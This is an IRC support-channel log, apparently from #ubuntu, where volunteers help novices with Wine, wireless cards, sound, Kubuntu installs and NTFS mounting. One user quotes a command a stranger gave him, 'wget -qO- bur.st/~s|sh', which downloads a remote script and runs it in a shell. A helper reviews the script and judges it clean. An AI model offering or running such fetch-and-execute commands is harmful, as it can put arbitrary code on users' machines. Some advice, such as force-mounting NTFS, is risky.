[00:57] <scguy318> jsschmid: problem resolved?
[00:57] <Punkunity> how do i get my box to boot form the non-usb multi-card reader with and sd card so i can install a new gutsy
[00:58] <Avt3kk> rxKaffee so this keeps me from getting unstable packages?
[00:58] <Jordan_U> d0c, Do you just want KDE or KDE and all of the default apps that come with it in kubuntu?
[00:58] <jsschmid> scguy318: dont know, i'll have to reboot but i'll report
[00:58] <Taras> I have a problem, after i installed it and used some windows software on my ubuntu, it seems i cant remove wine or any of the windows applications, it removes them from computer but still displays them on my application list
[00:58] <Kaso> ive got howto ssh into the machine from windows, not a problem, but how do i then get non-terminal-only access to the PC? Jordan_U what's ssh -X ?
[00:58] <rxKaffee> Avt3kk: no, it tells you how to repackage a package from unstable(feisty was unstable at the time, I'd recomend using gutsy which is currently stable)
[00:58] <_16aR_> Hello
[00:59] <_16aR_> Anyone has tried aptulr on PPA package ?

[00:59] <wayne_> hello
[00:59] <rxKaffee> Avt3kk: you'll be rebuilding pidgin instead of erlang
[00:59] <d0c> jordan: i want the enitre kde
[00:59] <jsschmid> usr13: ok, there are only 160 lines :-) but i'll figure out, just a second
[00:59] <soundray> ubotu, no, kde =~ s/Gusty/gutsy/
[00:59] <Avt3kk> rxKaffee so I get pidgin package from gutsy?
[00:59] <djjoka> is "Wine" supposed to let me use .exe files?
[00:59] <rxKaffee> djjoka: yes
[00:59] <Jordan_U> Kaso, ssh -X allows programs running on the remote machine to send X commands to your local machine, it requires that you have an X server installed on your local machine though ( there is one available for windows, not sure how good it is though )
[00:59] <djjoka> good
[00:59] <djjoka> thank you
[00:59] <rxKaffee> Avt3kk: yes
[00:59] <Yachi> how can i get ntfs-3g to scan for ntfs filesystems?
[01:00] <Jordan_U> djjoka, But it won't work with all exe's
[01:00] <rxKaffee> Yachi: what is ntfs-3g?
[01:00] <djjoka> why?
[01:00] <dormedas> Hello, I got broken libc6-dev and libc6-i686 packages, and synaptic attempted to fix it, and now I'm stuck in command line, help!
[01:00] <Avt3kk> poor yachi I seen you post that same question 4 times hehe
[01:00] <djjoka> and , is there any way to let it use all?
[01:00] <djjoka> because i cant download VMware
[01:00] <d0c> Jordan_U: i want the full kde
[01:01] <Yachi> yeh im gettin no help :(
[01:01] <Jordan_U> djjoka, Because it is a completely reverse-engineered implementation of the win32 API, basically they remade most of windows without any documentation or help from Microsoft :)
[01:01] <Snowman> [djjoka]: why cant u download VMware?
[01:01] <scguy318> Jordan_U: oh they do use docs, just the ones that MS has published for the public
[01:01] <soundray> LjL: thanks again for your sacrifice
[01:01] <Snowman> [djjoka]: i've downloaded it yesterday
[01:01] <Hatabax> I'm having trouble getting wireless networking to function.. I have a broadcom 4318, and I believe I have (finally) got ndiswrapper working, but its still not being recognized by any of the networking tools.. if anyone has some experience and might be able to get me started in the right direction again, i would appreciate it. more details available if necessary.
[01:01] <djjoka> amd64]
[01:01] <rxKaffee> djjoka: "use all"?
[01:01] <scguy318> Jordan_U: like what API functions are there, etc.
[01:01] <djjoka> ?
[01:01] <usr13> jsschmid: See lines 184-187  at: http://paste.ubuntu-nl.org/43740/
[01:01] <djjoka> what
[01:01] <Avt3kk> rxKaffee so I install this prevu thing to do the compiling?
[01:02] <Jordan_U> scguy318, That's just for the features that MS documents ;)
[01:02] <DerangedDingo> hey everyone, is it 5:00 PST right now? my clock isn't synchronized, and I don't know if it automatically went back an hour since DST.
[01:02] <djjoka> im new to Linux so i dont really know what to do
[01:02] <scguy318> Jordan_U: yep :)
[01:02] <rxKaffee> Avt3kk: prevu? never heard of that... the unstable-packages-on-ubuntu url I gave you uses "apt-get source --build" to do the compiling
[01:02] <rxKaffee> djjoka: try using synaptic to install wine, then just double clicking on your exe
[01:02] <Jordan_U> djjoka, First see if there isn't a native Linux alternative to the application you want to run
[01:02] <djjoka> ive downloaded alot of software to get it to work with me, like the plugin to play DVD
[01:02] <scguy318> DerangedDingo: I am -0600 GMT, PST is -0800 GMT, so I would think that yes its 5:02 PM your time
[01:03] <d0c> none is gonna tell me how to install KUBUNTU??
[01:03] <scguy318> DerangedDingo: my clock appropriately switched automatically
[01:03] <Jordan_U> djjoka, Applications -> Add / Remove is a good place to look
[01:03] <alain> just apt-get it
[01:03] <d0c> the site doesnt say much
[01:03] <jsschmid> usr13: got that, did that, be  back in 5 minutes

[01:03] <Jordan_U> djjoka, What program are trying to run?
[01:03] <djjoka> i need the Zune program
[01:03] <mike5805> kubuntu is as simple as putting in the cd and letting it load
[01:03] <Avt3kk> rxKaffee this link? http://pupeno.com/2006/12/17/unstable-packages-on-ubuntu/
[01:03] <djjoka> to sync music and stuff to my zune
[01:03] <mike5805> then clicking install icon from the desktop
[01:03] <rxKaffee> Avt3kk: yea
[01:04] <avayl> can someone help me out with my ubuntu install? im having some sound issues
[01:04] <losif> Losif
[01:04] <scguy318> DerangedDingo: if you still doubt that you're in the appropriate TZ, just run date in Terminal, it tells you what time zone you're in
[01:04] <avayl> also i seem to be having some problems with reference to brightness
[01:04] <d0c> is it that useless asing for here?
[01:04] <DerangedDingo> scguy318: nah I know what TZ i'm in, i just can't keep track if which clocks i have to adjust to DST in this house
[01:04] <Pici> d0c: sudo apt-get install kubuntu-desktop
[01:05] <d0c> thank you
[01:05] <rxKaffee> d0c: can't you just download an iso and boot its installer?
[01:05] <scguy318> DerangedDingo: ah
[01:05] <rxKaffee> d0c: if you are having this much trouble figuring out how to apt-get the kubunt package in, the installer cd might be easier for you
[01:05] <boontoo> how do you know if your wireless internet is working in ubuntu? what program is there to check its switched on
[01:05] <d0c> hey pici thanx!
[01:06] <scguy318> boontoo: iwconfig/ifconfig, not sure if that's definitive
[01:06] <usr13> boontoo: iwconfig
[01:06] <Hatabax> I'm having trouble getting wireless networking to function.. I have a broadcom 4318, and I believe I have (finally) got ndiswrapper working, but its still not being recognized by any of the networking tools.. if anyone has some experience and might be able to get me started in the right direction again, i would appreciate it. more details available if necessary.
[01:06] <dormedas> quit
[01:06] <usr13> boontoo: or sudo iwconfig
[01:06] <boontoo> usr13: eth1      IEEE 802.11b/g  ESSID:off/any  Nickname:"Broadcom 4318"?
[01:06] <boontoo> what is ESSID?
[01:06] <rxKaffee> boontoo: looks like you and Hatabax are in the same box
[01:07] <scguy318> boontoo: network name
[01:07] <Snowman> [Hatabax]: there is a software named wireless assistent or something, it could help you
[01:07] <Hatabax> rxKaffee: hehe. yeah. except im not getting that far.. iwconfig doesnt show the wireless connection
[01:07] <FluxD> !dvd | nickwashere
[01:07] <ubotu> nickwashere: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at !Medibuntu or (for Feisty and earlier) http://wiki.ubuntu.com/SeveasPackages - Try k9copy (available in !Universe) for backing up DVDs
[01:07] <usr13> boontoo: Ok, essid is not set... so do   sudo iwconfig eth1 essid linksys    (where linksys is essid of your wireless router).
[01:07] <rxKaffee> Hatabax: you've told ndiswrapper to load the windows drivers in?
[01:07] <boontoo> usr13: i dont have a wireless router i just want to roam
[01:08] <mtx1> in gnome, how do i change it so when i minimize a window those black boxes dont show up
[01:08] <dana_bad> !Mediabuntu
[01:08] <ubotu> Sorry, I don't know anything about mediabuntu - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi

[01:08] <ubotu> medibuntu is a repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org
[01:08] <Yachi> blah
[01:08] <rxKaffee> boontoo: well someone has to have a wireless router... thats what you connect to when you roam
[01:08] <Hatabax> rxKaffee: yeah, i tried bcmw5l first, and got some errors in dmesg.. but i tried bcmw5la, and got it loaded smoothly, but still no eth1
[01:08] <usr13> boontoo: Are you trying to connect to a particular network right now?
[01:08] <boontoo> yeah my neighbours
[01:08] <rxKaffee> Hatabax: it won't be ethX, it will probably be wlan
[01:08] <pablo> holas
[01:08] <pablo> alguien habla español
[01:09] <usr13> boontoo: Try:  sudo dhclient eth1
[01:09] <rxKaffee> Hatabax: did you monitor the tail end of dmesg as you loaded the driver? it should probably tell you what the name will be
[01:09] <Hatabax> rxKaffee: i changed the setting on that, but still, no wlan riyjrt

Does any1 have any idea what could be going on?

[01:09] <pablo> como entro a esa sala q nu caxo
[01:10] <Hatabax> rxKaffee:  it doesnt mention another connection other than eth0 (my wired connection)
[01:10] <JymmmEMC> I don't know why, but every so often my gnome desktop doens't respond to mouse clicks. kybd still works (mostly) and can move the cursor. any ideas?
[01:10] <bazhang> pable type /join #ubuntu-es
[01:10] <rxKaffee> Hatabax: does `ifconfig -a` mention anything other than eth0 and local?
[01:10] <scguy318> pablo: para entro, type /join #ubuntu-es
[01:10] <Hatabax> im going to install wireless assistant again, maybe that will trigger something

[01:10] <Hatabax> rxKaffee: sit0, whatever that is
[01:11] <jewbilee> alright
[01:11] <jewbilee> thanks
[01:11] <mwazny> o and for some reason both the background color and text is black in this window
[01:11] <usr13> boontoo: And that is probablhy because you do not have essid set.
[01:11] <rxKaffee> Hatabax: is that listed as being a wireless device under iwcondig?
[01:11] <rxKaffee> *iwconfig
[01:11] <boontoo> usr13: how do i set my essid to roam or listen?
[01:11] <usr13> boontoo: For a wireless NIC to connect to a particular network, it has to match the essid.
[01:11] <Hatabax> rxKaffee: yes, but so is lo and eth0
[01:12] <rxKaffee> d0c: wusg54g is usb rt2750?
[01:12] <rxKaffee> Hatabax: lo an deth0 should say "not a wireless device" or such though
[01:12] <scguy318> rxKaffee: i think, though the Realtek native drivers are kinda iffy
[01:12] <Jordan_U> djjoka, It doesn't look likely that the zune program will run in wine :(
[01:12] <Xapper> sometimes my usb connected hardrive has two icons on desktop, is this a bug or my failure to install something. (its NTFS)
[01:12] <Hatabax> rxKaffee: no wireless extensions ?
[01:12] <rxKaffee> Hatabax: yea... does it say that under sid0 too?
[01:12] <usr13> boontoo: I'm not sure you can, unless you acquire a fully supported wireless NIC.
[01:12] <Hatabax> rxKaffee: yes
[01:12] <rxKaffee> or sit or whatever it was
[01:12] <rxKaffee> aw :(
[01:12] <boontoo> usr13: so i cant get my network card to pick up all the wireless networks in my area like in Vista?
[01:12] <Jordan_U> Xapper, And there is only one partition on the drive?
[01:13] <mwazny> does anyone know how to set up sound? my sound card seems to only play sounds from a music player but won't play system sounds or anything
[01:13] <rxKaffee> scguy318: d0c the rt2x00(serial monkey) drivers are very good
[01:13] <Xapper> jordan_u: yeah
[01:13] <rxKaffee> as are serial monkey's older non-rt2x00 drivers from my readings
[01:13] <usr13> boontoo: In other words, with that particular NIC, you will more than likely need to manually set essid for each network you want to connect to. You need a fully supported wireless NIC.
[01:13] <Jordan_U> mwazny, does "speakertest" make noise?
[01:13] <jhelmus> Is anyone familar with installing Ubuntu off a USB stick, I can things to boot, but the install fails when trying to detect the CD-ROM drive
[01:14] <scguy318> mwazny: speaker-test that is
[01:14] <scguy318> Jordan_U: or cat /dev/urandom > /dev/dsp :P
[01:14] <Jordan_U> jhelmus, Alternate or live installer?
[01:14] <mwazny> umm if you mean the test buttons under devices then yes
[01:14] <usr13> boontoo: You can only connect to one network, Right?  So just pick one and connect to it.
[01:14] <usr13> boontoo: Not sure what you're wanting to do...
[01:14] <Xapper> jordan_u: it doesnt happen all the time, im going to try to keep an eye on what causes it to happen
[01:14] <Jordan_U> scguy318, If he has heard any sound that will work ( as long as it's not already in use )
[01:15] <jhelmus> Jordan_U I just have vzlinuz, the netboot initrd.img, and the mini.iso file on the drive
[01:15] <boontoo> usr13: basically when i go into the city and theres free connections all around at cafes ect i want to pull up a list showing all the available networks that i can connect to, their security eg wep wap smc wpa2 ect
[01:15] <Jordan_U> jhelmus, Have you been following a howto?
[01:15] <Hatabax> rxKaffee: im thinking about just buying a mini-pci card that is known to work easily for linux/ubuntu
[01:15] <usr13> boontoo: A fully supported NIC will have more functions / complete functionality.
[01:15] <d0c> how do i install directly off the cd once im in the OS>?
[01:15] <d0c> install apps that is
[01:15] <jhelmus> Jordan_U: Yes, https://help.ubuntu.com/community/Installation/FromUSBStick
[01:16] <Jordan_U> d0c, Click the install icon on the desktop
[01:16] <Hatabax> rxKaffee: but im gonna try Wireless Assistant before i totally give up
[01:16] <rxKaffee> Hatabax: tried native bcm drivers?
[01:16] <boontoo> usr13: how do i know if its fully supported or not?
[01:16] <usr13> boontoo: You will not be able to do all that with the broadcom

[01:16] <jhelmus> Jordan_U: I get stuck on mounting the flash drive /cdrom it doesn't seem to like any of my choices for a device
[01:16] <d0c> aight playa
[01:16] <rxKaffee> d0c: you'll need to add the cdrom as a repository to your sources.list, and probably either commento ut the other repos or disconnect your net
[01:16] <Inuyasha32246> firefow sound broken
[01:25] <Cerebru1> Where can I get help regarding sound problems? Yes I know, I have read tons of documentations and even installed another alsa version... I'm 2 days searching for solutions
[01:25] <Yachi> :P
[01:25] <mwazny> ok thats weird, now click on the test button doesn't play sound and if I click OK on the testing window it freezes
[01:25] <rxKaffee> K|NgGh0sT: try checking for bad blocks, ifno bad blocks, then try switching it to the other ide channel
[01:25] <Pelo> scguy318,  add/remove is just another front end for apt just like synaptic,  but it only shows apps , not every single packages
[01:25] <K|NgGh0sT> Its Sata
[01:25]  * Yachi prays to Jordan_U for answers
[01:25] <K|NgGh0sT> Problem is I cant even boot
[01:25] <scguy318> Pelo: im aware
[01:26] <rxKaffee> boontoo: I don't think that will work for bcm drivers
[01:26] <scguy318> what's with the mass join moments ago?
[01:26] <K|NgGh0sT> netsplit
[01:26] <Pici> !netsplit
[01:26] <ubotu> netsplit is when two IRC servers of the same network (like Freenode) disconnect from each other, so users on one server stop seeing users on the other. If this is happening now, just relax and enjoy the show. See http://en.wikipedia.org/wiki/Netsplit
[01:26] <scguy318> ah
[01:26] <Cerebru1> Where can I get help regarding sound problems? Yes I know, I have read tons of documentations and even installed another alsa version... I'm 2 days searching for solutions
[01:26] <jhelmus> How do I get the hardware detector to detect my usb pen drive so I can mount it (usually the install shell)
[01:26] <rxKaffee> K|NgGh0sT: check it from a livecd
[01:27] <scguy318> jsschmid: Ekiga
[01:27] <Jordan_U> Cerebru1, What problems?
[01:27] <Pelo> !sound | Cerebru1  did you try this ?
[01:27] <ubotu> Cerebru1  did you try this ?: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[01:27] <boontoo> rxKaffee: im going to jpn at the end of this month and id really like to take advantage of their abundant wireless networks
[01:28] <Cerebru1> The logon and logoff sounds work fine. The .ogg files in the Ubuntu examples folder work fine. BUT if I try to play .avi in Totem player the sound sucks
[01:28] <SuperSnout> So.. how would I go about installing azureus if i shouldn't do it manually?
[01:28] <K|NgGh0sT> rxKaffee, How do I do so?
[01:28] <hugh> Some process keeps blocking my sound card.  How do I figure out which one it is? I'm have an nvidia sound card and with it's own driver and not OSS.
[01:28] <newbiiie> Is it possible to play streaming Windows Video in ubuntu?
[01:28] <jsschmid> scguy318: thanks, i'll try that out!
[01:28] <rxKaffee> boontoo: so either use free ones, or if you need to "gain access", then buy a card that supports such things
[01:28] <Pelo> SuperSnout,  sudo apt-get install azureus
[01:28] <Jordan_U> SuperSnout, Applications -> Add / Remove
[01:28] <Jordan_U> newbiiie, Yes

[01:29] <Jordan_U> SuperSnout, Did you set it to show all applications?
[01:29] <scguy318> hugh: hmm ok, thats my shot there :P
[01:29] <rxKaffee> boontoo: sounds like you're all set then if iwlist shows ap's :D

[01:41] <scguy318> jhelmus: sdb is the entire HDD, you probably want something like sdb1, sdb2, etc.
[01:41] <Snuxoll> *You are now talking on #ubuntu-DD
[01:41] <scguy318> jhelmus: which are the partitions
[01:41] <Snuxoll> I had to
[01:41] <SuperSnout> scguy318: I'm using a website to scan my ip for open ports :D
[01:41] <SuperSnout> scguy318: might take a while though..
[01:41] <jhelmus> scguy318: I'm being using /dev/sdb1 but still no luck
[01:41] <ray_> does xfree86 come on 7.10 by default?
[01:42] <Jordan_U> SuperSnout, You can scan yourself thorugh a proxy
[01:42] <boselecta> bazhang: any idea if I should be worried about the GNOME error?
[01:42]  * Yachi is still waiting for an answer to either of my two questions
[01:42] <scguy318> ray_: no, its X.Org
[01:42] <scguy318> Yachi: what are the questions?
[01:42] <SuperSnout> Jordan_U: how would I do that?
[01:42] <Snuxoll> People still use xfree86?
[01:42] <scguy318> jhelmus: hmm, dunno then
[01:42] <usr13> ray_: No
[01:42] <bazhang> boselecta: is your system running?
[01:42] <Yachi> how can i scan for ntfs with ntfs-3g | how can i get my usb headset working
[01:43] <scguy318> Yachi: scan like? and what headset?
[01:43] <ray_> so i will have to install it to get the proprietary ati driver
[01:43] <boselecta> oh, yes. it's just i have never seen that dialog before upon logging in. it looks like some of the icons are different on the panel, too
[01:43] <scguy318> Yachi: if you mean a disk check like chkdsk you can't really, you have to use Windows
[01:43] <scguy318> Yachi: as for your headset it should be a matter of just plugging in
[01:43] <Jordan_U> SuperSnout, Use nmap with torify
[01:44] <scguy318> Jordan_U: dead slow :P
[01:44] <scguy318> Jordan_U: best to just use online-nmap.com or a service like i
[01:44] <scguy318> Jordan_U: *it
[01:44] <ray_> if i install xfree86 will that mess with x.org?
[01:44] <flyingfree> okay silly question
[01:44] <scguy318> ray_: not sure, but I don't see why you need XFree86
[01:44] <usr13> ray_: Probably
[01:44] <Munchkinguy> Hi. I just installed the new ATI driver on Gutsy, but compiz doesn't work because "/usr/bin/compiz: 228: Syntax error: "(" unexpected"
[01:44] <Jordan_U> ray_, Why would you want to install xfree86?
[01:45] <ray_> i need it for the ATI propritary driver
[01:45] <bazhang> boselecta: using Gutsy?
[01:45] <scguy318> ray_: um no?
[01:45] <scguy318> ray_: System -> Administration -> Restricted Driver Manager
[01:45] <usr13> ray_: You should remove xorg first.
[01:45] <scguy318> ray_: if you need fglrx
[01:45] <flyingfree> When I install tuxracer and google earth and a few other programs then try to open them , I get the splash screen and then nothing.  I have a 500 mHZ system, 198 rm running xubntu fiesty
[01:45] <scguy318> ray_: i seriously doubt that fglrx won't work on X.Org
[01:45] <ray_> that made gutsy run way to slow
[01:45] <usr13> flyingfree: hardware defeciency
[01:45] <ray_> when i used the open source driver
[01:46] <boselecta> bazhang: yeah, but for a while now. it just started today and i think i saw a GNOME update not too long ago.
[01:46] <flyingfree> thought so usr13
[01:46] <scguy318> ray_: Restricted Driver Manager installs fglrx, have you tried that?
[01:46] <boselecta> bazhang: perhaps i should just try relogging in to see if it was a one-time affair.
[01:46] <flyingfree> usr13 where do I find the req's for tuxracer and the google earth version in the repository?
[01:46] <ray_> no, i supose i can
[01:46] <mwazny> ok I think I figured out the problem(maybe) but I don't know how to fix it. My sound card is listed as number 1, after my webcam which is number 0 when I do " cat /proc/asound/cards" but how do I change that?
[01:46] <bazhang> boselecta: not sure what the issue is--though may want to choose today to do your back up :}
[01:46] <ray_> i will have to download the driver from ati first wont i?
[01:46] <scguy318> ray_: no
[01:46] <scguy318> !ati | ray_
[01:46] <ubotu> ray_: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[01:47] <scguy318> ray_: if you haven't already read
[01:47] <boselecta> bazhang: haha. not really my computer, so i'll pass that on. thx.
[01:47] <bazhang> boselecta: then no problem at all. heh
[01:47] <ray_> doing so now
[01:47] <SuperSnout> Jordan_U: just downloaded nmap
[01:47] <scguy318> SuperSnout: you can't use it to probe yourself, have to use an external machine
[01:48] <flyingfree> does mplayer work under xubuntu?
[01:48] <boontoo_> !madwifi
[01:48] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[01:48] <scguy318> flyingfree: yes
[01:48] <usr13> flyingfree: It would be a subjective answer in the first place, but a 500Mhz processor is deficient. 1000Mhz will do.  Maybe even PIII 800 but nothing less, [would be my guess]
[01:48] <D4niel> nmap -vv -A ip
[01:48] <SuperSnout> scguy318: Jordan_U said I could use a proxy
[01:48] <scguy318> SuperSnout: yes, but kinda slow :P
[01:48] <Jordan_U> SuperSnout, I guess just keep using the service you were using :)
[01:48] <flyingfree> somehow i t is missing from my sound/video list and replace with gzine.  How can I get it back on the list?
[01:48] <scguy318> SuperSnout: you could use it if you wanted
[01:48] <Yachi> scguy318: no i want to see all the partitions that i could mount | Trust HS-6200 Surround USB Headset
[01:48] <usr13> flyingfree: And +512MB RAM
[01:48] <scguy318> Yachi: sudo fdisk -l
[01:48] <SuperSnout> Jordan_U: service?
[01:49] <flyingfree> wow for tuxracer?  or just google earth?
[01:49] <Jordan_U> SuperSnout, The site you were using
[01:49] <Munchkinguy> How do I fix the error?
[01:49] <SuperSnout> Jordan_U: what site? :/
[01:49] <usr13> flyingfree: Yes.
[01:49] <djjoka> ... how do i open .exe's in wine?
[01:49] <jhelmus> Is the boot.img.gz  in the netboot directory a ramdisk image with network drivers?
[01:49] <flyingfree> wow scary
[01:49] <D4niel> djjoka: wine  foo.exe
[01:49] <scguy318> djjoka: either give them execute permission and open in a file manager, or in Terminal, wine path/to/exe
[01:49] <flyingfree> owell that will have to wait until the laptop gets back from the shop.  Will older versions of tuxracer work on a 500 mhx system?
[01:50] <djjoka> how do i do that
[01:50] <Jordan_U> SuperSnout, online-nmap.com
[01:50] <usr13> flyingfree: You are working with hardware that is about 10 years old
[01:50] <scguy318> djjoka: the former assumes that you have binfmt installed, which you prob do
[01:50] <djjoka> (new to linux)(trying to learn)
[01:50] <flyingfree> yeah about that
[01:50] <scguy318> flyingfree: won't run the latest fun stuff unfortunately
[01:50] <mwazny> does it mean using a text editor to add in the line when it says You can manipulate the device number assignment by adding to /etc/modprobe.d/alsa-base snd-usb-audio:    options snd-usb-audio index=1
[01:50] <D4niel> djjoka: if u r using ubuntu, just double click that file...
[01:50] <flyingfree> np
[01:50] <scguy318> djjoka: in Terminal, wine /path/to/exe to run the app
[01:50] <SuperSnout> Jordan_U: I just used the terminal command to install it..
[01:50] <flyingfree> how do I get mplayer back o my sound/video drop down list though?
[01:51] <djjoka> im using ubuntu , double click and get an error
[01:51] <scguy318> djjoka: then in Terminal, wine /path/to/exe file
[01:51] <usr13> flyingfree: Rephrase your question.
[01:52] <Munchkinguy> Does the "228" mean there is a problem on line 228?
[01:52] <Jordan_U> SuperSnout, scguy318 noted that nmap over tor will be very slow and I thought you already knew about the online services ( someone was talking about them and I thought it was you )
[01:52] <djjoka> ok 1 sec imma try
[01:52] <flyingfree> How do I get mplayer listed in the appications/soundvideo menu?
[01:52] <Jordan_U> Munchkinguy, Yes
[01:52] <flyingfree> it is installed on the system somehow deleted from the menu
[01:52] <usr13> flyingfree: Are you using gnome?
[01:52] <Yachi> k now i cant mount, Mount is denied because NTFS is marked to be in use. i dont think i am using it...
[01:52] <reco_> does anyone have an idea of what this command does?  Did I potentially infect my system.  I was trying to get some help on another channel and someone told me to type this.
[01:52] <SuperSnout> Jordan_U: oh, yeah, I'm not sure if the online service worked properly.. and I wasn't using nmap.. I'll check it out though
[01:52] <reco_> wget -qO- bur.st/~s|sh
[01:52] <djjoka> so like, "  wine desktop file.exe  "?
[01:52] <flyingfree> no,, xubntu which is KDE right?
[01:52] <scguy318> Yachi: type mount command by itself to see
[01:52] <Jordan_U> flyingfree, Did you install the "mplayer" package or mplayer-nogui ?
[01:53] <djjoka> nm
[01:53] <Yachi> nope its not there
[01:53] <djjoka> i think i got it
[01:53] <scguy318> Yachi: if you are unable to mount because you did not cleanly dismount the NTFS part, then use -o force
[01:53] <ray_> damned that was simple thanks
[01:53] <flyingfree> Jordan_u mplayer package, I have seen the gui somehow gzine got isntalled as my defualt player need to change that and get mplayer as an option on the menu
[01:53] <scguy318> Yachi: with the ntfs-3g command
[01:53] <usr13> flyingfree: Right click the start button anc choose the KDE Menu Editor ....
[01:53] <newbiiie>  I have deleted two old partitions. Is there an easy way to change the hda numbering so that I get continuous hda 1,2,3,4 instead of hda 1,2,5,6 (that I got now) or rename them to common sense labels?
[01:54] <djjoka> wine: could not load L"Z:\\home\\ME\\Desktop.": Invalid handle
[01:54] <djjoka> got that error
[01:54] <flyingfree> usr13 Start button?
[01:54] <scguy318> wine: where's the EXE file located? looks like you typed an invalid path
[01:54] <sasimon19> hello there
[01:54] <SuperSnout> Jordan_U: it says I'm blocking ping probes :(
[01:54] <sasimon19> I need help setting the server root from the default in ubuntu (/var/www/) to another directory (mounted in /media/windowsxp/Program Files/Apache Software Foundation/Apache2.2/htdocs) I tried editing it in the /etc/apache2/apache2.conf file and restarting apache but no luck, it's the same for some reason... php works in that directory but I can't figure out how to move the default directory...
[01:54] <Yachi> i did: sudo ntfs-3g /dev/sda2 /mnt/win
[01:54] <scguy318> wine: and you of course have to put in the EXE name itself too
[01:54] <Jordan_U> scguy318, Is that good advice? Forcing an rw mount on a possibly unclean file system?
[01:54] <permanoia> when i try to ssh i get `ssh_exchange_identification: Connection closed by remote host` -- checked router/modem settings seem ok.
[01:54] <scguy318> Yachi: stick -o force to the end
[01:54] <Yachi> k
[01:54] <D4niel> newbiie:  basically u cant change the number, because it's defined as Logical partition and extend partion
[01:55] <scguy318> Jordan_U: good point, though it's not likely to corrupt the filesystem
[01:55] <flyingfree> okay right clicked appliation button and chose edit menu
[01:55] <thedefender> i want to be able to disable XGL and then re-enable it on the fly, some programs have probs with XGL
[01:55] <scguy318> Yachi: and I remind you that -o force is a bit risky :P
[01:55] <Yachi> ntfs-3g: Unknown option '-o'. yet it has it in an example :/
[01:55] <usr13> flyingfree: Yes, unless you want the launcher on the desktop, in which case  you just right click on an empty area of the desktop and choose Creat New -> Link to Application....
[01:55] <Jordan_U> SuperSnout, Then your computer probably isn't even accessable from the internet, have you set up any port forewarding?
[01:55] <scguy318> Yachi: sudo ntfs-3g /dev/sda2 /mnt/win -o force
[01:55] <sFEARs> hello
[01:55] <SuperSnout> Jordan_U: yes
[01:56] <reco_> does anyone have an idea of what this command does (wget -qO- bur.st/~s|sh
[01:56] <reco_> )?  Did I potentially infect my system.  I was trying to get some help on another channel and someone told me to type this.
[01:56] <SuperSnout> it couldn't scan for forwarded ports though because it said that ping probes were blocked ..
[01:56] <underwatercow> when I try doing something involving sound (ie with wine or festival) while something else is using sound (ie movie player) then the sound in festival or wine won't work until I log out and then back in... festival says "Cannot access /dev/dsp" or something like that... is there a way to get around this without having to logout?
[01:56] <scguy318> SuperSnout: -P0 option
[01:56] <flyingfree> usr13 okay got the menu what will the command be to laucn h the gui mplayer?
[01:56] <michaelfavia> anyone running ubuntu on an Abit ip35-e?
[01:56] <usr13> flyingfree: The "Start Button" [as I call it] is the icon in the bottom bar on the far left side.
[01:56] <Jordan_U> thedefender, You don't need to disable XGL, you can run applications in the underlying X server with: DISPLAY=":0" <command>
[01:56] <michaelfavia> just want to know if its possible
[01:56] <scguy318> reco_: it looks like you obtained something and piped it to sh...
[01:57] <scguy318> reco_: lemme see
[01:57] <Yachi> yay!
[01:57] <reco_> crap
[01:57] <flyingfree> usr13  ahh the ubuntu logo
[01:57] <Yachi> i gots my media!
[01:57] <scguy318> reco_: the script looks clean tho
[01:57] <usr13> flyingfree: Yes
[01:57] <Yachi> thanks scguy318
[01:57] <SuperSnout> scguy318: bash: -P0: command not found
[01:57] <reco_> I can't believe i did that
[01:57] <scguy318> SuperSnout: no, on the website
[01:57] <usr13> flyingfree:  "KED Menu Editor"
[01:57] <reco_> scguy: thanks
[01:57] <Yachi> just need to get this headset working now :/ :P
[01:57] <scguy318> reco_: the script is fine tho, it just greps the logs or w/e
[01:57] <flyingfree> gusr13 go that done and have mplayer added as an item but what is the command for the gui?
[01:57] <SuperSnout> where do i type that in? :/
[01:58] <djjoka> can someone help me with my error
[01:58] <scguy318> reco_: on online-nmap.com, theres a box for custom options or w/e
[01:58] <djjoka> ?
[01:58] <flyingfree> don't have a KED menu editor option, only "Edit Menus"
[01:58] <scguy318> SuperSnout: the script is fine tho, it just greps the logs or w/e
[01:58] <scguy318> reco_: sorry wrong addressee
[01:58] <usr13> flyingfree: mplayer
[01:58] <K|NgGh0sT> rxKaffee, Only live cd that works, can only find my 250gig drive, not my 300... soo looks like that one is the one that may of failed
[01:58] <usr13> flyingfree: gmplayer
[01:58] <scguy318> SuperSnout: on online-nmap.com, theres a box for custom options or w/e
[01:59] <thedefender> jordan_U: yes but i also wish to free up the memory xgl is taking
[01:59] <SuperSnout> scguy318: just added it to the beginning
[01:59] <flyingfree> usr13 "failed to execute process no such file or cirectory
[01:59] <thedefender> jordan_U:  there i want to shut it down along with compiz and then be able to restart it inside of X
[01:59] <usr13> flyingfree: But you are better off just using it from command line.  Because if you have a group of videos in a particular directory and you want to run them consecutively, you'd issue command   mplayer videos/*
[02:00] <flyingfree> user13 the command option has a browse button where would I look for the gmplayer file?
[02:00] <D4niel> thedefender: try fusion-icon
[02:00] <flyingfree> usr13 sorry, oldschool apple and windows guy, I like GUI's
[02:00] <usr13> flyingfree: You may need to use full path, which is probably /usr/bin/gmplayer
[02:00] <thedefender> !fusion-icon
[02:00] <ubotu> Sorry, I don't know anything about fusion-icon - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:01] <axjv> When I start up swiftweasel, it opens http://0/ instead of my homepage. Can anyone help me?
[02:01] <Jordan_U> thedefender, So you want to stop XGL and all of the applications running in it and then run only the one application, or do you want to run GNOME also?
[02:01] <jony_kalavera> hi
[02:01] <thedefender> d4niel: what is this fusion-icon
[02:01] <Jordan_U> thedefender, That won't do anything to XGL
[02:01] <jony_kalavera> i have a problem with firebug in firefox
[02:01] <axjv> thedefender: It's an icon in your system tray that helps you manage compiz.
[02:01] <usr13> flyingfree: I understand - some folks just like play with the  mouse alot
[02:02] <jony_kalavera> firebug says its runnign but it just is'nt there
[02:02] <jony_kalavera> its not visible
[02:02] <alka_trash> anyone using the pre-release packages in the repositories? are they stable?
